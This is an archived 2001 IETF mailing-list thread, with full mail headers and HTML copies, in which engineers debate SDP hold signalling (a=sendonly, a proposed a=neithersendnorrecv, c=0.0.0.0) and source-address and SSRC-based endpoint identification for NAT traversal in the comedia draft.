	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA19036
	for <confctrl@zephyr.isi.edu>; Tue, 3 Jul 2001 09:53:50 -0700 (PDT)
Received: from znsgs0ja.europe.nortel.com (znsgs0ja.nortelnetworks.com [47.165.25.40])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f63GrvQ00880
	for <confctrl@ISI.EDU>; Tue, 3 Jul 2001 09:53:57 -0700 (PDT)
Received: from qnsgs000.nortel.com (znsgs016 [47.255.64.31])
	by znsgs0ja.europe.nortel.com (8.11.0/8.11.0) with ESMTP id f63Grow15426
	for <confctrl@ISI.EDU>; Tue, 3 Jul 2001 17:53:50 +0100 (BST)
Received: from nwcwi1a.europe.nortel.com by qnsgs000.nortel.com;
          Tue, 3 Jul 2001 17:53:32 +0100
Received: by nwcwi1a.europe.nortel.com with Internet Mail Service (5.5.2653.19) 
          id <N5F6FMNT>; Tue, 3 Jul 2001 17:53:30 +0100
Message-ID: <A3C2399B2FACD411A54200508BE39C7402E84278@zwcwd00r.europe.nortel.com>
From: "Mark Watson" <mwatson@nortelnetworks.com>
To: "'Gonzalo Camarillo'" <Gonzalo.Camarillo@lmf.ericsson.se>,
        Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Cc: "'Paul Kyzivat'" <pkyzivat@cisco.com>,
        Christer Holmberg <christer.holmberg@lmf.ericsson.se>, sip@ietf.org,
        mmusic <confctrl@ISI.EDU>
Subject: RE: [Sip] Two SDP issues
Date: Tue, 3 Jul 2001 17:53:27 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C103E0.AE20B020"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C103E0.AE20B020
Content-Type: text/plain;
	charset="iso-8859-1"

All,

I like the option of using just a=sendonly to put an existing two-way
session on hold - it makes much more sense than c=0.0.0.0 for all the
reasons given in this thread. Is there any difference (for a two-way media
stream) between 'held' state and 'sendonly' state ? I'm sure SIP will not
save us from crappy 'music' on hold, so there may still be media in the
other direction.

Also, in a multi-media session I might want to put one media stream on hold
whilst still receiving another. I can only really listen to one person at a
time, but I can see multiple video sessions on my PC screen. So I might put
the audio of a videocall on hold whilst I make a consultation call to
another party.

In the case of a one-way session, putting this on hold basically temporarily
cancels the media stream altogether. As someone suggested, it would be nice
to have an a=neithersendnorrecv to complete the possibilities of sendonly,
recvonly, sendrecv, but would another alternative in this case would be to
set the port to zero ?

Regards,

Mark Watson



> -----Original Message-----
> From: Gonzalo Camarillo [mailto:Gonzalo.Camarillo@lmf.ericsson.se]
> Sent: 02 July 2001 20:43
> To: Jonathan Rosenberg
> Cc: 'Paul Kyzivat'; Christer Holmberg; sip@ietf.org; mmusic
> Subject: Re: [Sip] Two SDP issues
> 
> 
> Hello Jonathan,
> 
> > Ugly, and not my preference, but I see no other viable
> > alternative without sacrificing backwards compatibility.
> 
> In this situation, I believe we should have a clear idea of what we
> understand by backwards compatibility. When a new feature is added, it
> usually means that the addition of the new feature does not break all
> the implementations that already work properly (but do not provide the
> new feature).
> 
> However, in this scenario, there cannot be any implementation 
> that works
> properly right now. They just cannot send RTCP properly. Therefore, in
> this situation, an elegant brand new mechanism might be 
> acceptable. I do
> not think that it would be a big deal to "break" current 
> implementations
> that do not work properly anyway.
> 
> Regards,
> 
> Gonzalo
> -- 
> Gonzalo Camarillo                    Phone :   +1 212 939 71 71
> Columbia University                  Mobile:  +358 40 702 35 35
> 472 Computer Science Building        Fax   :  +358  9 299 30 52
> 1214 Amsterdam Ave., Mail Code 0401  http://www.hut.fi/~gonzalo
> New York, NY 10027                   
> USA                              Gonzalo.Camarillo@ericsson.com
> 
> _______________________________________________
> Sip mailing list  http://www.ietf.org/mailman/listinfo/sip
> This list is for NEW development of the core SIP Protocol
> Use sip-implementors@cs.columbia.edu for questions on current sip
> Use sipping@ietf.org for new developments on the application of sip
> 

------_=_NextPart_001_01C103E0.AE20B020
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2654.59">
<TITLE>RE: [Sip] Two SDP issues</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>All,</FONT>
</P>

<P><FONT SIZE=3D2>I like the option of using just a=3Dsendonly to put =
an existing two-way session on hold - it makes much more sense than =
c=3D0.0.0.0 for all the reasons given in this thread. Is there any =
difference (for a two-way media stream) between 'held' state and =
'sendonly' state ? I'm sure SIP will not save us from crappy 'music' on =
hold, so there may still be media in the other direction.</FONT></P>

<P><FONT SIZE=3D2>Also, in a multi-media session I might want to put =
one media stream on hold whilst still receiving another. I can only =
really listen to one person at a time, but I can see multiple video =
sessions on my PC screen. So I might put the audio of a videocall on =
hold whilst I make a consultation call to another party.</FONT></P>

<P><FONT SIZE=3D2>In the case of a one-way session, putting this on =
hold basically temporarily cancels the media stream altogether. As =
someone suggested, it would be nice to have an a=3Dneithersendnorrecv =
to complete the possibilities of sendonly, recvonly, sendrecv, but =
would another alternative in this case would be to set the port to zero =
?</FONT></P>

<P><FONT SIZE=3D2>Regards,</FONT>
</P>

<P><FONT SIZE=3D2>Mark Watson</FONT>
</P>
<BR>
<BR>

<P><FONT SIZE=3D2>&gt; -----Original Message-----</FONT>
<BR><FONT SIZE=3D2>&gt; From: Gonzalo Camarillo [<A =
HREF=3D"mailto:Gonzalo.Camarillo@lmf.ericsson.se">mailto:Gonzalo.Camaril=
lo@lmf.ericsson.se</A>]</FONT>
<BR><FONT SIZE=3D2>&gt; Sent: 02 July 2001 20:43</FONT>
<BR><FONT SIZE=3D2>&gt; To: Jonathan Rosenberg</FONT>
<BR><FONT SIZE=3D2>&gt; Cc: 'Paul Kyzivat'; Christer Holmberg; =
sip@ietf.org; mmusic</FONT>
<BR><FONT SIZE=3D2>&gt; Subject: Re: [Sip] Two SDP issues</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Hello Jonathan,</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Ugly, and not my preference, but I see no =
other viable</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; alternative without sacrificing backwards =
compatibility.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; In this situation, I believe we should have a =
clear idea of what we</FONT>
<BR><FONT SIZE=3D2>&gt; understand by backwards compatibility. When a =
new feature is added, it</FONT>
<BR><FONT SIZE=3D2>&gt; usually means that the addition of the new =
feature does not break all</FONT>
<BR><FONT SIZE=3D2>&gt; the implementations that already work properly =
(but do not provide the</FONT>
<BR><FONT SIZE=3D2>&gt; new feature).</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; However, in this scenario, there cannot be any =
implementation </FONT>
<BR><FONT SIZE=3D2>&gt; that works</FONT>
<BR><FONT SIZE=3D2>&gt; properly right now. They just cannot send RTCP =
properly. Therefore, in</FONT>
<BR><FONT SIZE=3D2>&gt; this situation, an elegant brand new mechanism =
might be </FONT>
<BR><FONT SIZE=3D2>&gt; acceptable. I do</FONT>
<BR><FONT SIZE=3D2>&gt; not think that it would be a big deal to =
&quot;break&quot; current </FONT>
<BR><FONT SIZE=3D2>&gt; implementations</FONT>
<BR><FONT SIZE=3D2>&gt; that do not work properly anyway.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Regards,</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Gonzalo</FONT>
<BR><FONT SIZE=3D2>&gt; -- </FONT>
<BR><FONT SIZE=3D2>&gt; Gonzalo =
Camarillo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Phone :&nbsp;&nbsp; =
+1 212 939 71 71</FONT>
<BR><FONT SIZE=3D2>&gt; Columbia =
University&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mobile:&nbsp; +358 40 702 35 =
35</FONT>
<BR><FONT SIZE=3D2>&gt; 472 Computer Science =
Building&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Fax&nbsp;&nbsp; =
:&nbsp; +358&nbsp; 9 299 30 52</FONT>
<BR><FONT SIZE=3D2>&gt; 1214 Amsterdam Ave., Mail Code 0401&nbsp; <A =
HREF=3D"http://www.hut.fi/~gonzalo" =
TARGET=3D"_blank">http://www.hut.fi/~gonzalo</A></FONT>
<BR><FONT SIZE=3D2>&gt; New York, NY =
10027&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </FONT>
<BR><FONT SIZE=3D2>&gt; =
USA&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Gonzalo.Camarillo@ericsson.com</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; =
_______________________________________________</FONT>
<BR><FONT SIZE=3D2>&gt; Sip mailing list&nbsp; <A =
HREF=3D"http://www.ietf.org/mailman/listinfo/sip" =
TARGET=3D"_blank">http://www.ietf.org/mailman/listinfo/sip</A></FONT>
<BR><FONT SIZE=3D2>&gt; This list is for NEW development of the core =
SIP Protocol</FONT>
<BR><FONT SIZE=3D2>&gt; Use sip-implementors@cs.columbia.edu for =
questions on current sip</FONT>
<BR><FONT SIZE=3D2>&gt; Use sipping@ietf.org for new developments on =
the application of sip</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C103E0.AE20B020--

From confctrl-owner  Tue Jul  3 12:35:29 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id MAA24837
	for confctrl-outgoing; Tue, 3 Jul 2001 12:35:29 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id MAA24832
	for <confctrl@zephyr.isi.edu>; Tue, 3 Jul 2001 12:35:28 -0700 (PDT)
Received: from rtp-msg-core-1.cisco.com (rtp-msg-core-1.cisco.com [161.44.11.97])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f63JZZQ08105
	for <confctrl@ISI.EDU>; Tue, 3 Jul 2001 12:35:35 -0700 (PDT)
Received: from cannon.cisco.com (cannon.cisco.com [161.44.228.16])
	by rtp-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f63JXo423232;
	Tue, 3 Jul 2001 15:33:50 -0400 (EDT)
Received: from cisco.com (dhcp-161-44-241-91.cisco.com [161.44.241.91])
	by cannon.cisco.com (Mirapoint)
	with ESMTP id ACP00122 (AUTH pkyzivat);
	Tue, 3 Jul 2001 15:35:19 -0400 (EDT)
Message-ID: <3B421D5C.C0A89046@cisco.com>
Date: Tue, 03 Jul 2001 15:30:36 -0400
From: Paul Kyzivat <pkyzivat@cisco.com>
X-Mailer: Mozilla 4.76 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Mark Watson <mwatson@nortelnetworks.com>
CC: "'Gonzalo Camarillo'" <Gonzalo.Camarillo@lmf.ericsson.se>,
        Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        Christer Holmberg <christer.holmberg@lmf.ericsson.se>, sip@ietf.org,
        mmusic <confctrl@ISI.EDU>
Subject: Re: [Sip] Two SDP issues
References: <A3C2399B2FACD411A54200508BE39C7402E84278@zwcwd00r.europe.nortel.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I also am in favor of a=neithersendnorrecv (or perhaps a=hold would read
better). 

This differs from c=0.0.0.0 or a special port (I think port zero means
something else. I have seen port 9 suggested for this.) The a= approach
modifies how the transport(s) are used, but doesn't alter their
assignment, while changing c= or the port implies changes in assignment.
In the case of UDP this may not matter much, but in the case of
connection oriented media it can be very important. In the case of a
connection oriented media session, specifying c=0.0.0.0 could require
establishing a different connection to continue communication in the
other direction, or it could make it impossible to continue
communication in the other direction.

So, I think specifying a=sendonly or a=neithersendnorrecv should be
sufficient and recommended as the way to put oneself on hold. Messing
with the c= or the port should be considered an optional change that an
endpoint can make when it is consistent with the form of communication
being negotiated.

	Paul Kyzivat
	Cisco Systems

> Mark Watson wrote:
> 
> All,
> 
> I like the option of using just a=sendonly to put an existing two-way
> session on hold - it makes much more sense than c=0.0.0.0 for all the
> reasons given in this thread. Is there any difference (for a two-way
> media stream) between 'held' state and 'sendonly' state ? I'm sure SIP
> will not save us from crappy 'music' on hold, so there may still be
> media in the other direction.
> 
> Also, in a multi-media session I might want to put one media stream on
> hold whilst still receiving another. I can only really listen to one
> person at a time, but I can see multiple video sessions on my PC
> screen. So I might put the audio of a videocall on hold whilst I make
> a consultation call to another party.
> 
> In the case of a one-way session, putting this on hold basically
> temporarily cancels the media stream altogether. As someone suggested,
> it would be nice to have an a=neithersendnorrecv to complete the
> possibilities of sendonly, recvonly, sendrecv, but would another
> alternative in this case would be to set the port to zero ?
> 
> Regards,
> 
> Mark Watson
> 
> > -----Original Message-----
> > From: Gonzalo Camarillo [mailto:Gonzalo.Camarillo@lmf.ericsson.se]
> > Sent: 02 July 2001 20:43
> > To: Jonathan Rosenberg
> > Cc: 'Paul Kyzivat'; Christer Holmberg; sip@ietf.org; mmusic
> > Subject: Re: [Sip] Two SDP issues
> >
> >
> > Hello Jonathan,
> >
> > > Ugly, and not my preference, but I see no other viable
> > > alternative without sacrificing backwards compatibility.
> >
> > In this situation, I believe we should have a clear idea of what we
> > understand by backwards compatibility. When a new feature is added,
> it
> > usually means that the addition of the new feature does not break
> all
> > the implementations that already work properly (but do not provide
> the
> > new feature).
> >
> > However, in this scenario, there cannot be any implementation
> > that works
> > properly right now. They just cannot send RTCP properly. Therefore,
> in
> > this situation, an elegant brand new mechanism might be
> > acceptable. I do
> > not think that it would be a big deal to "break" current
> > implementations
> > that do not work properly anyway.
> >
> > Regards,
> >
> > Gonzalo
> > --
> > Gonzalo Camarillo                    Phone :   +1 212 939 71 71
> > Columbia University                  Mobile:  +358 40 702 35 35
> > 472 Computer Science Building        Fax   :  +358  9 299 30 52
> > 1214 Amsterdam Ave., Mail Code 0401  http://www.hut.fi/~gonzalo
> > New York, NY 10027
> > USA                              Gonzalo.Camarillo@ericsson.com
> >
> > _______________________________________________
> > Sip mailing list  http://www.ietf.org/mailman/listinfo/sip
> > This list is for NEW development of the core SIP Protocol
> > Use sip-implementors@cs.columbia.edu for questions on current sip
> > Use sipping@ietf.org for new developments on the application of sip
> >

From confctrl-owner  Tue Jul  3 21:39:50 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id VAA13434
	for confctrl-outgoing; Tue, 3 Jul 2001 21:39:50 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id VAA13429
	for <confctrl@zephyr.isi.edu>; Tue, 3 Jul 2001 21:39:49 -0700 (PDT)
Received: from mail2.dynamicsoft.com (mail2.dynamicsoft.com [216.173.40.52])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f644duQ28808
	for <confctrl@ISI.EDU>; Tue, 3 Jul 2001 21:39:56 -0700 (PDT)
Received: from DYN-EXCH-001.dynamicsoft.com (bluebird [216.173.40.50])
	by mail2.dynamicsoft.com (8.12.0.Beta7/8.12.0.Beta7) with ESMTP id f644dOki007796;
	Wed, 4 Jul 2001 00:39:25 -0400 (EDT)
Received: by DYN-EXCH-001.dynamicsoft.com with Internet Mail Service (5.5.2653.19)
	id <3CZ0ZPXM>; Wed, 4 Jul 2001 00:39:51 -0400
Message-ID: <B65B4F8437968F488A01A940B21982BF0128C859@DYN-EXCH-001.dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
To: "'David Yon'" <yon@dialout.net>,
        "Fairlie-Cuninghame, Robert"
	 <rfairlie@nuera.com>,
        "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: RE: Comedia Issues.
Date: Wed, 4 Jul 2001 00:39:44 -0400 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



 

> -----Original Message-----
> From: David Yon [mailto:yon@dialout.net]
> Sent: Sunday, July 01, 2001 10:01 AM
> To: Fairlie-Cuninghame, Robert; 'confctrl@isi.edu'
> Subject: Re: Comedia Issues.
> 
> 
> Comments below.
> 
> At 10:59 AM 6/29/2001, Fairlie-Cuninghame, Robert wrote:
> 
> >David Yon & myself where having offline discussions about 
> the wording of 
> >how the source information in the comedia draft may be used 
> by applications.
> >
> >The source information in the a=direction attribute is only 
> used when two 
> >applications are establishing logical bidirectional channels 
> between them 
> >(using two SDP complementary descriptions). The information 
> encodes where 
> >a connection will be originating from.
> >
> >Now existing SDP requires you to accept media from anywhere. 
> I do not 
> >think that comedia should be changing this.
> >
> >So I believe that the draft should be very clear that an 
> application must 
> >not enforce the source information supplied in the direction 
> attribute 
> >when accpeting connections and that this should only be used by 
> >residential firewalls/NAT to open holes in the firewall 
> (which was the 
> >reason the information was originally added). This allows 
> the RTP media to 
> >cross a single (eg residential) NAT/firewall without modification or 
> >remapping of the SDP fields - very useful!
> >
> >[Now David if I get your position wrong please correct me.] 
> David believes 
> >that the draft should not be so emphatic that the source 
> information may 
> >not be enforced by the application because in many cases there is no 
> >NAT/firewall and thus gives a small amount of security to 
> media. I realize 
> >that many people want to solve the lack of security on RTP problems. 
> >Whilst certain implementations may end up enforcing the information 
> >anyway,  the draft should say that applications MAY NOT do this.
> 
> My problem with this is that folks are reading too much into 
> what the draft 
> says.  It never, EVER says "enforce".  That is entirely 
> outside the scope 
> of what the source address is all about.  The point of the source 
> address/port (SAP) is all about ENDPOINT IDENTIFICATION.
> 
> SAP is intended to address the topology there a TCP-based 
> media endpoint is 
> using the canonical TCP server style of accepting connections 
> at a single 
> port number.  The problem is that once you constrain the 
> server to a single 
> port, mapping connections to sessions becomes impossible 
> without additional 
> information.  There are two ways to solve this problem:
> 
>          a) Embed session identification information into the 
> media stream, or
>          b) Identify the session by the address/port of the 
> remote endpoint.
> 
> Since (a) is incompatible with most media signalled by SDP, 
> (b) is your 
> only option.  That is the essence of why SAP is included in 
> comedia.  

I think the nat fiasco has taught us that relying on IP addresses as
identification is a bad thing. So, whilst I agree with (b), I wonder why we
don't put the SSRC/cname in there instead? That has the advantage that it is
globally unique (well, the cname is; the ssrc' may collide. But, you can
detect this by notticing that the same ssrc came from two different IP
addresses. Several ways to fix it...., but the problem goes away when the
cname arrives. Just need to mandate that for unicast, you send a few RTCP
right away to set the cname.). It provides endpoint identification that
works through nats. It also allows us to <gasp> turn "RTP servers" (PSTN
gateways, media servers, etc.) into traditional servers by defining a <gasp
again> well-known port for RTP, and then demuxing on the SSRC/CNAME. Couple
that with the symmetric RTP proposal, which has media sent back to the
source IP where it came from. That means I could get RTP through firewalls
by static configuration of a simple rule: allow outbound UDP to RTP-port
(and allow media back to source addresses of outbound media). 



-Jonathan R.

---
Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com


From confctrl-owner  Wed Jul  4 04:17:09 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id EAA26975
	for confctrl-outgoing; Wed, 4 Jul 2001 04:17:09 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id EAA26970
	for <confctrl@zephyr.isi.edu>; Wed, 4 Jul 2001 04:17:07 -0700 (PDT)
Received: from znsgs0ja.europe.nortel.com (znsgs0ja.nortelnetworks.com [47.165.25.40])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f64BHDQ28977
	for <confctrl@ISI.EDU>; Wed, 4 Jul 2001 04:17:13 -0700 (PDT)
Received: from qnsgs000.nortel.com (znsgs016 [47.255.64.31])
	by znsgs0ja.europe.nortel.com (8.11.0/8.11.0) with ESMTP id f64BH7w11011
	for <confctrl@ISI.EDU>; Wed, 4 Jul 2001 12:17:07 +0100 (BST)
Received: from nwcwi1a.europe.nortel.com by qnsgs000.nortel.com;
          Wed, 4 Jul 2001 12:16:44 +0100
Received: by nwcwi1a.europe.nortel.com with Internet Mail Service (5.5.2653.19) 
          id <3G876HBK>; Wed, 4 Jul 2001 12:16:43 +0100
Message-ID: <A3C2399B2FACD411A54200508BE39C7402E84285@zwcwd00r.europe.nortel.com>
From: "Mark Watson" <mwatson@nortelnetworks.com>
To: "'Jonathan Rosenberg'" <jdrosen@dynamicsoft.com>,
        "'Gonzalo Camarillo'" <Gonzalo.Camarillo@lmf.ericsson.se>
Cc: "'Paul Kyzivat'" <pkyzivat@cisco.com>,
        "'Christer Holmberg'" <christer.holmberg@lmf.ericsson.se>,
        "'sip@ietf.org'" <sip@ietf.org>, "'mmusic'" <confctrl@ISI.EDU>
Subject: FW: [Sip] Two SDP issues
Date: Wed, 4 Jul 2001 12:16:40 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C1047A.CC7D4ED0"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C1047A.CC7D4ED0
Content-Type: text/plain;
	charset="iso-8859-1"


All,

I like the option of using just a=sendonly to put an existing two-way
session on hold - it makes much more sense than c=0.0.0.0 for all the
reasons given in this thread. Is there any difference (for a two-way media
stream) between 'held' state and 'sendonly' state ? I'm sure SIP will not
save us from crappy 'music' on hold, so there may still be media in the
other direction.

Also, in a multi-media session I might want to put one media stream on hold
whilst still receiving another. I can only really listen to one person at a
time, but I can see multiple video sessions on my PC screen. So I might put
the audio of a videocall on hold whilst I make a consultation call to
another party.

In the case of a one-way session, putting this on hold basically temporarily
cancels the media stream altogether. As someone suggested, it would be nice
to have an a=neithersendnorrecv to complete the possibilities of sendonly,
recvonly, sendrecv, but would another alternative in this case would be to
set the port to zero ?

Regards,

Mark Watson



> -----Original Message-----
> From: Gonzalo Camarillo [mailto:Gonzalo.Camarillo@lmf.ericsson.se]
> Sent: 02 July 2001 20:43
> To: Jonathan Rosenberg
> Cc: 'Paul Kyzivat'; Christer Holmberg; sip@ietf.org; mmusic
> Subject: Re: [Sip] Two SDP issues
> 
> 
> Hello Jonathan,
> 
> > Ugly, and not my preference, but I see no other viable
> > alternative without sacrificing backwards compatibility.
> 
> In this situation, I believe we should have a clear idea of what we
> understand by backwards compatibility. When a new feature is added, it
> usually means that the addition of the new feature does not break all
> the implementations that already work properly (but do not provide the
> new feature).
> 
> However, in this scenario, there cannot be any implementation 
> that works
> properly right now. They just cannot send RTCP properly. Therefore, in
> this situation, an elegant brand new mechanism might be 
> acceptable. I do
> not think that it would be a big deal to "break" current 
> implementations
> that do not work properly anyway.
> 
> Regards,
> 
> Gonzalo
> -- 
> Gonzalo Camarillo                    Phone :   +1 212 939 71 71
> Columbia University                  Mobile:  +358 40 702 35 35
> 472 Computer Science Building        Fax   :  +358  9 299 30 52
> 1214 Amsterdam Ave., Mail Code 0401  http://www.hut.fi/~gonzalo
> New York, NY 10027                   
> USA                              Gonzalo.Camarillo@ericsson.com
> 
> _______________________________________________
> Sip mailing list  http://www.ietf.org/mailman/listinfo/sip
> This list is for NEW development of the core SIP Protocol
> Use sip-implementors@cs.columbia.edu for questions on current sip
> Use sipping@ietf.org for new developments on the application of sip
> 

------_=_NextPart_001_01C1047A.CC7D4ED0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2654.59">
<TITLE>FW: [Sip] Two SDP issues</TITLE>
</HEAD>
<BODY>
<BR>

<P><FONT SIZE=3D2>All,</FONT>
</P>

<P><FONT SIZE=3D2>I like the option of using just a=3Dsendonly to put =
an existing two-way session on hold - it makes much more sense than =
c=3D0.0.0.0 for all the reasons given in this thread. Is there any =
difference (for a two-way media stream) between 'held' state and =
'sendonly' state ? I'm sure SIP will not save us from crappy 'music' on =
hold, so there may still be media in the other direction.</FONT></P>

<P><FONT SIZE=3D2>Also, in a multi-media session I might want to put =
one media stream on hold whilst still receiving another. I can only =
really listen to one person at a time, but I can see multiple video =
sessions on my PC screen. So I might put the audio of a videocall on =
hold whilst I make a consultation call to another party.</FONT></P>

<P><FONT SIZE=3D2>In the case of a one-way session, putting this on =
hold basically temporarily cancels the media stream altogether. As =
someone suggested, it would be nice to have an a=3Dneithersendnorrecv =
to complete the possibilities of sendonly, recvonly, sendrecv, but =
would another alternative in this case would be to set the port to zero =
?</FONT></P>

<P><FONT SIZE=3D2>Regards,</FONT>
</P>

<P><FONT SIZE=3D2>Mark Watson</FONT>
</P>
<BR>
<BR>

<P><FONT SIZE=3D2>&gt; -----Original Message-----</FONT>
<BR><FONT SIZE=3D2>&gt; From: Gonzalo Camarillo [<A =
HREF=3D"mailto:Gonzalo.Camarillo@lmf.ericsson.se">mailto:Gonzalo.Camaril=
lo@lmf.ericsson.se</A>]</FONT>
<BR><FONT SIZE=3D2>&gt; Sent: 02 July 2001 20:43</FONT>
<BR><FONT SIZE=3D2>&gt; To: Jonathan Rosenberg</FONT>
<BR><FONT SIZE=3D2>&gt; Cc: 'Paul Kyzivat'; Christer Holmberg; =
sip@ietf.org; mmusic</FONT>
<BR><FONT SIZE=3D2>&gt; Subject: Re: [Sip] Two SDP issues</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Hello Jonathan,</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Ugly, and not my preference, but I see no =
other viable</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; alternative without sacrificing backwards =
compatibility.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; In this situation, I believe we should have a =
clear idea of what we</FONT>
<BR><FONT SIZE=3D2>&gt; understand by backwards compatibility. When a =
new feature is added, it</FONT>
<BR><FONT SIZE=3D2>&gt; usually means that the addition of the new =
feature does not break all</FONT>
<BR><FONT SIZE=3D2>&gt; the implementations that already work properly =
(but do not provide the</FONT>
<BR><FONT SIZE=3D2>&gt; new feature).</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; However, in this scenario, there cannot be any =
implementation </FONT>
<BR><FONT SIZE=3D2>&gt; that works</FONT>
<BR><FONT SIZE=3D2>&gt; properly right now. They just cannot send RTCP =
properly. Therefore, in</FONT>
<BR><FONT SIZE=3D2>&gt; this situation, an elegant brand new mechanism =
might be </FONT>
<BR><FONT SIZE=3D2>&gt; acceptable. I do</FONT>
<BR><FONT SIZE=3D2>&gt; not think that it would be a big deal to =
&quot;break&quot; current </FONT>
<BR><FONT SIZE=3D2>&gt; implementations</FONT>
<BR><FONT SIZE=3D2>&gt; that do not work properly anyway.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Regards,</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Gonzalo</FONT>
<BR><FONT SIZE=3D2>&gt; -- </FONT>
<BR><FONT SIZE=3D2>&gt; Gonzalo =
Camarillo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Phone :&nbsp;&nbsp; =
+1 212 939 71 71</FONT>
<BR><FONT SIZE=3D2>&gt; Columbia =
